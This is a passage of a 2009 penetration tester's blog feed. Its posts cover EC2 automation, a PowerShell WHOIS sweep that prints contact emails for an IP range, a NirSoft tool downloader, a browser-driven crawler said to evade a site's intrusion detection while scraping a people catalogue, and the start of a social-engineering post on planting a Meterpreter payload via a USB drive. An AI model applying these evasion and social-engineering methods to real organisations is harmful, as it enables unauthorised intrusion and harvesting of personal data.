/&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;     &lt;span style="color: rgb(0, 204, 204);"&gt;#echo "[*] Making $EC2_HOME on $EC2_HOST"&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;     ssh -i $EC2_RSA root@$EC2_HOST   "mkdir -p /usr/local/ec2"&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Of course, there's no limit to how automated you can make it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7169594305396268349-5310363076959253199?l=techmeditation.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techmeditation.blogspot.com/feeds/5310363076959253199/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techmeditation.blogspot.com/2009/05/i-started-to-use-amazon-ec2-cloud-for.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7169594305396268349/posts/default/5310363076959253199'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7169594305396268349/posts/default/5310363076959253199'/><link rel='alternate' type='text/html' href='http://techmeditation.blogspot.com/2009/05/i-started-to-use-amazon-ec2-cloud-for.html' title='Automating AMI builds for Amazon EC2'/><author><name>snow</name><uri>http://www.blogger.com/profile/16189571007580617159</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7169594305396268349.post-906385277452966986</id><published>2009-05-27T11:17:00.000-07:00</published><updated>2009-05-28T14:09:58.803-07:00</updated><title type='text'>Querying WHOIS Webservice with Powershell</title><content type='html'>There's an interesting WHOIS Web service at &lt;a href="http://www.trynt.com/trynt-whois-api/"&gt;TryNT&lt;/a&gt;. If you are scanning a range of addresses trying to determine the owner it's useful to automate.&lt;br /&gt;&lt;br /&gt;Apparently TryNT gets banned from certain IP ranges, or simply going too hard at Whois servers, so sometimes the query returns error. But for the most part it works.&lt;br /&gt;&lt;br /&gt;Here's how one can query Whois via TryNT webService:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt;PS C:\Users\dxs\Code\powershell&gt; gc .\Whois-Webservice.ps1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;function IpOwner(&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;    [string]$ip="4.2.2.2"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;){&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;    BEGIN{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;        $whois=@{"query"=$ip}; &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;        $ErrorActionPreference="SilentlyContinue"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;    }&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;    PROCESS {&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt; #$uri="http://75.101.151.29/whois-api/v1/?h="+$ip+"&amp;amp;f=0"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt; $uri="http://www.trynt.com/whois-api/v1/?h="+$ip+"&amp;amp;f=0"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt; $resp=[xml](New-Object -TypeName System.Net.WebClient).Downloadstring($uri)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt; $whois.Add("organization",&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;       $($resp.SelectNodes(&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;             "descendant::Trynt/Whois/regrinfo/owner/organization") |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;       % { $_.InnerXml}) )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;        $whois.Add("TechEmail",&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;        $($resp.SelectNodes(&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;           "descendant::Trynt/Whois/regrinfo/tech/email") |&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;        % { $_.InnerXml}) )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;    }&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;    END{&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;        Write-Host $whois.Values&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;    }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;1..254 | % { sleep(2); IpOwner("124.$_.165.1") }&lt;/span&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;The run:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt;PS C:\Users\dxs\Code\powershell&gt; .\Whois-Webservice.ps1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;SK Networks co., Ltd  124.1.165.1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;WADONG ELEMENTARY SCHOOL 5ypascal@lycos.co.kr 124.2.165.1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;Jeonrabukdo Wanju Education Office i3cc11@hanmail.net 124.3.165.1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;GE Capital International Services munish.dargan@ge.com 124.4.165.1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;KuRO TV noc@cnm.co.kr 124.5.165.1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;NETWORK_VISMIN_DSL_IP_POOL aaa81020@globenet.com.ph 124.6.165.1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;SIFY INFRASTRUCTURE ipadmin@sifycorp.com 124.7.165.1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;Taiwan Fixed Network CO.,LTD. steve_huang@howin.com.tw 124.8.165.1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;Taiwan Fixed Network CO.,LTD. steve_huang@howin.com.tw 124.9.165.1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;Taiwan Fixed Network CO.,LTD. steve_huang@howin.com.tw 124.10.165.1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;Taiwan Fixed Network CO.,LTD. steve_huang@howin.com.tw 124.11.165.1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;Taiwan Fixed Network CO.,LTD. steve_huang@howin.com.tw 124.12.165.1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;TELEKOM MALAYSIA BERHAD ssc@tmnet.com.my 124.13.165.1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;6F Greatwall Bldg., A38 Xueyuan Road Haidian District,Beijing speed0822@sina.com 124.14.165.1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;6F Greatwall Bldg., A38 Xueyuan Road Haidian District,Beijing speed0822@sina.com 124.15.165.1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 204, 204);"&gt;China Science &amp;amp; Technology Network lihong@cstnet.net.cn 124.16.165.1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7169594305396268349-906385277452966986?l=techmeditation.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techmeditation.blogspot.com/feeds/906385277452966986/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techmeditation.blogspot.com/2009/05/querying-whois-webservice-with.html#comment-form' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7169594305396268349/posts/default/906385277452966986'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7169594305396268349/posts/default/906385277452966986'/><link rel='alternate' type='text/html' href='http://techmeditation.blogspot.com/2009/05/querying-whois-webservice-with.html' title='Querying WHOIS Webservice with Powershell'/><author><name>snow</name><uri>http://www.blogger.com/profile/16189571007580617159</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7169594305396268349.post-8600818290445381551</id><published>2009-05-27T10:41:00.000-07:00</published><updated>2009-05-28T13:17:14.271-07:00</updated><title type='text'>Syncing NirSoft Repository</title><content type='html'>&lt;a href="http://www.nirsoft.net/"&gt;Nirsoft&lt;/a&gt; has a great collection of tools streamlining some aspects of offensive penetration and system management.  If you are stuck without your toolkit, it's possible to automaticaly sync Nirsoft repository to your local cache and go from there.  The site posts directory of utils &lt;a href="http://www.nirsoft.net/pad/pad-links.txt"&gt;here&lt;/a&gt;&lt;br /&gt;Each XML file describes individual utility including direct download link which we can use to cync the depots.&lt;br /&gt;&lt;br /&gt;Here's my Powershell script.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;/code&gt;&lt;div style="text-align: center;"&gt;&lt;div style="text-align: left;"&gt;&lt;code style="color: rgb(255, 204, 0);"&gt;PS C:\Users\dxs\Code\powershell&gt; gc .\SyncNirsoft.ps1&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt; &lt;span style="color: rgb(0, 153, 0);"&gt;function GetNirSoftUtils(&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;    $padLink=[string]"http://www.nirsoft.net/pad/pad-links.txt"&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt; ){&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;    BEGIN{&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;         Write-host "Getting PAD link"&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;         $webclient=(New-Object -Type System.Net.WebClient)&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;         $webclient.DownloadFile($padlink,"$(pwd)\pad-links.txt")&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;         $padidx=$( Get-ChildItem $(pwd) "*.txt" |  %{ $_.Name } )&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;         write-host "Gotten: $padidx"&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;    }&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;    PROCESS{&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;        Write-host "Getting PAD XML Links"&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;        foreach ( $padxmllnk in $(Get-Content $padidx )){&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;            # strip http:// for filesystem operation&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;            $padxmllnkfs=$padxmllnk -replace "http://", ""&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;            # basename the file (i.e /path/to/file -&gt; file )&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;            $padxmlfs=(split-path $padxmllnkfs -leaf).split("/")[-1]&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;            # Conform to full path&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;            $padxmlfs="$(pwd)\$padxmlfs"&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;             # Download XML index files&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;            Write-Host "Getting Index $padxmllnk --&gt; $padxmlfs "&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;            #$webclient.DownloadFile($padxmllnk,"$padxmlfs")&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;            # Parsing Index and Getting Depot Download links&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;            $depotids=[XML](Get-Content $padxmlfs )&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;            $depotURL=$($depotids.SelectNodes(&lt;br /&gt;"descendant::Web_Info/Download_URLs/Primary_Download_URL") |&lt;br /&gt;% { $_.Inner&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;Xml})&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;            # strip http:// for filesystem operation&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;            $depotfs=$depotURL -replace "http://", ""&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;            # basename the file (i.e /path/to/file -&gt; file )&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;            $depotfs=(split-path $depotfs -leaf).split("/")[-1]&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;            # Conform to full path&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;            $depotfs="$(pwd)\$depotfs"&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;            Write-Host "Getting Depot $depotURL --&gt; $depotfs "&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;            $webclient.DownloadFile($depotURL,"$depotfs")&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;        }&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;    }&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;    END{&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;        Write-host "end"&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;    }&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;&lt;/code&gt;&lt;br /&gt;&lt;code style="color: rgb(0, 153, 0);"&gt; }&lt;/code&gt;&lt;br /&gt;&lt;/div&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;&lt;/code&gt;&lt;/div&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;&lt;br /&gt;&lt;/code&gt;&lt;div style="text-align: left;"&gt;&lt;code style="color: rgb(0, 153, 0);"&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;/code&gt;&lt;/div&gt;&lt;code&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;br /&gt;&lt;/code&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Runtime example:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt;PS C:\Users\dxs\Code\powershell&gt; .\SyncNirsoft.ps1&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;Getting PAD link&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;Gotten: pad-links.txt&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;Getting PAD XML Links&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;Getting Index http://www.nirsoft.net/pad/acm.xml --&gt; C:\Users\dxs\Downloads\Nirsoft-PAD\acm.xml&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 255);"&gt;Getting Depot http://www.nirsoft.net/utils/acm.zip --&gt; C:\Users\dxs\Downloads\Nirsoft-PAD\acm.zip&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&lt;/code&gt;&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7169594305396268349-8600818290445381551?l=techmeditation.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techmeditation.blogspot.com/feeds/8600818290445381551/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techmeditation.blogspot.com/2009/05/syncing-nirsoft-repository.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7169594305396268349/posts/default/8600818290445381551'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7169594305396268349/posts/default/8600818290445381551'/><link rel='alternate' type='text/html' href='http://techmeditation.blogspot.com/2009/05/syncing-nirsoft-repository.html' title='Syncing NirSoft Repository'/><author><name>snow</name><uri>http://www.blogger.com/profile/16189571007580617159</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7169594305396268349.post-8001653029706460733</id><published>2009-05-26T17:18:00.001-07:00</published><updated>2009-05-26T22:04:58.018-07:00</updated><title type='text'>Dynamic Link Crawler</title><content type='html'>So in a typical Web assessment one of the things one normally does is crawl all or some portion of a target website. It just makes the "big" picture a bit clearer when looking at how the web app is structured. Conventional crawlers work on href: references, recursively. Recently I looked at the site which I could not crawl. To be more specific, the site allowed me to either crawl a few links and then it would stall me. Other times, it would send my crawler into infinite loop. Either way, I could not accomplish what I came there to do.&lt;br /&gt;&lt;br /&gt;It appeared that Web IDS module was timing the link references and If I went too fast it would shut me down for 10 minutes. Additionally, my crawler's User-Agent near useless navigating dynamically generated buttons/links in AJAX pages. I was a bit stuck. I don't mind manually testing the site, and in fact, I prefer going near-manual once I get through the initial crawl. But I really did not want to spend the whole day manually punching in ( let's call them item number, like in shopping cart scenario ) items to get through all the listings.&lt;br /&gt;&lt;br /&gt;Well, we are in Web 2.0. As much as I wanted to stick with good-ol' techniques or fall back to lazy manual crawling I wanted to try and automate form submissions and searches. I needed a browser automation, really.&lt;br /&gt;&lt;br /&gt;First I wanted to drive the IE via &lt;a href="http://msdn.microsoft.com/en-us/magazine/cc337896.aspx"&gt;Powershell COM bridge. &lt;/a&gt;&lt;br /&gt;It's a nice solution and I will be looking at it in depth some time later. However, I went with &lt;a href="http://wtr.rubyforge.org/rdoc/"&gt;Watir&lt;/a&gt; framework to test my crawls and move on to more interesting stuff.&lt;br /&gt;&lt;br /&gt;In IE (don;t you love when the site is only interested in  MS-made browsers... ) the following was accomplished. Suppose there's a search field and a type of search to perform. I was interested in crawling through the people  in the catalog.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;I also had a driver script, but manually the following can be invoked as:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt;C:\Users\dxs\Tools\Ruby\bin\ruby.exe .\wsearch.rb LN "Blakkenship"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 204, 0);"&gt;LN- for LastName field of search.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;&lt;code&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;require 'watir'&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;require 'watir/close_all'&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;browser = Watir::IE.new&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;form=nil;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;criteria=nil;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;if ( ARGV.length == 2 )&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt; criteria = ARGV[1]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt; format = case ARGV[0]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;  when "KW" then &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;   form="formKeyword"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;  when "LN" then&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;   form="formLastname"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;  when "FN" then&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;   form="formFirstname"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;  else&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;   raise "Invalid Format Arguments: Need KW,LN,FN etc."&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;  end&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;else&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt; puts "Error in arguments: specify Format (KW,LN,FN,etc.) and  Search Criteria"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt; exit(1)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;end &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;site = "http://site.com/index.cfm?contentID=21&amp;amp;type=1"&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;browser.goto site&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;puts "Searching through for: #{form} , criteria: #{criteria}"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;browser.text_field(:name, form).set criteria&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;browser.button(:name, "Search").click &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;puts "\n\n"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;browser.links.each { |l| puts l.href + "---&gt;" + l.text if l.text =~ /#{criteria}/io  }&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Watir::IE.close_all&lt;/span&gt;&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Output:&lt;br /&gt;&lt;br /&gt;http://url.reference.to.entities?here&amp;amp;it=comes  -&gt; Mnemonic Name&lt;br /&gt;&lt;br /&gt;I have to admit, instrumenting browsers is slow, and I was not nearly as fast as with the conventional crawler. Then again, the code is crude, no threading, no optimization, just plain "hacked-up" in a hurry. 7 hours later, and 100% under IDS radar, I emulated a human browsing the site. I had a nice database of stuff to work with come morning...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;There is also FireWatir for driving Firefox in case it;s needed.&lt;span style="color: rgb(0, 153, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(192, 192, 192);"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7169594305396268349-8001653029706460733?l=techmeditation.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://techmeditation.blogspot.com/feeds/8001653029706460733/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://techmeditation.blogspot.com/2009/05/defeating-web-anti-crawler.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7169594305396268349/posts/default/8001653029706460733'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7169594305396268349/posts/default/8001653029706460733'/><link rel='alternate' type='text/html' href='http://techmeditation.blogspot.com/2009/05/defeating-web-anti-crawler.html' title='Dynamic Link Crawler'/><author><name>snow</name><uri>http://www.blogger.com/profile/16189571007580617159</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7169594305396268349.post-7213589917805033633</id><published>2009-05-23T22:54:00.000-07:00</published><updated>2009-05-23T23:42:24.963-07:00</updated><title type='text'>Social Engineering meets Offensive technologies: using USB U3 flash drive with meterpreter payload</title><content type='html'>I was recently involved in a Social Engineering experiment the goal of which was to obtain access to a PC inside the organization. I am not going to cover the social engineering aspect of the job in this post. I want to concentrate on another, technical, aspect of how close proximity to physical hardware has gotten the data I needed. &lt;br /&gt;&lt;br /&gt;I have been reading elsewhere on how Social Engineers leverage client side exploitation which involves either a browser exploitation or email attachments, or&lt;br /&gt;USB devices left with the "secretary". During the engagement I had an opportunity to &lt;br /&gt;corce the receptionist into printing out my "resume" on her machine. So I thought it may be a perfect time to try the "USB" way. To that day I never had messed around with U3 system or created my own custom payload for that specific purpose. This was a perfect opportunity to have fun. &lt;br /&gt;&lt;br /&gt;There are several viable approaches and already pre-made USB payload distribution serving the purpose: HackSaw, SwitchBlade, others. Read more Here:&lt;br /&gt;http://dotnetwizard.net/soft-apps/hack-u3-usb-smart-drive-to-become-ultimate-hack-tool/ and here: http://wiki.hak5.org/wiki/USB_Switchblade&lt;br /&gt;&lt;br /&gt;I decided to go with customized version of Switchblade. I ripped out what I did not need for the compromise of the targeted computer, created U3CUSTOM image and overlayed the contents of my Walmart-bought $10 U3 SanDisk 1GB Cruzer drive.&lt;br /&gt;&lt;br /&gt;The goal was to show up the next morning and attempt to hand the drive with my "resume" to the secretary (very nice and honest woman, btw), and have here print it out. I chose not to rely on Microsoft Word macros because I had some knowledge about the company's policy preventing such elevation. I also knew that the company ran updated Antivirus, and that the solution needed to be stealthy. I was not sure which one 